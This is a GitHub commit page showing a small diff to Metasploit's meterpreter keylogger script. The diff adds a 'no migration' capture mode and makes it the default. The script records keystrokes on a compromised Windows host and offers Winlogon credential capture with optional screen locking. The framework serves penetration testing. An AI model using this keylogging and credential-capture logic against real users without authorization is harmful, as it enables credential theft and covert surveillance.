Skip to content

Commit be292c6

Browse files
committed
Merge branch 'master' of github.com:shellster/metasploit-framework into shellster-master
2 parents dcce23d + 9e0d17c commit be292c6

File tree

1 file changed

+7
-3
lines changed

1 file changed

+7
-3
lines changed

scripts/meterpreter/keylogrecorder.rb

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88
@@exec_opts = Rex::Parser::Arguments.new(
99
"-h" => [ false, "Help menu." ],
1010
"-t" => [ true, "Time interval in seconds between recollection of keystrokes, default 30 seconds." ],
11-
"-c" => [ true, "Type of key capture. (0) for user key presses or (1) for winlogon credential capture Default is 0." ],
11+
"-c" => [ true, "Type of key capture. (0) for user key presses, (1) for winlogon credential capture, or (2) for no migration. Default is 2." ],
1212
"-l" => [ false, "Lock screen when capturing Winlogon credentials."],
1313
"-k" => [ false, "Kill old Process"]
1414
)
@@ -40,7 +40,7 @@ def usage
4040
keytime = 30
4141

4242
#Type of capture
43-
captype = 0
43+
captype = 2
4444
# Function for locking the screen -- Thanks for the idea and API call Mubix
4545
def lock_screen
4646
print_status("Locking Screen...")
@@ -191,7 +191,11 @@ def keycap(session, keytime, logfile)
191191
end
192192
}
193193
if client.platform =~ /win32|win64/
194-
if explrmigrate(session,captype,lock, kill)
194+
if (captype.to_i == 2)
195+
if startkeylogger(session)
196+
keycap(session, keytime, logfile)
197+
end
198+
elsif explrmigrate(session,captype,lock, kill)
195199
if startkeylogger(session)
196200
keycap(session, keytime, logfile)
197201
end

0 commit comments

Comments
 (0)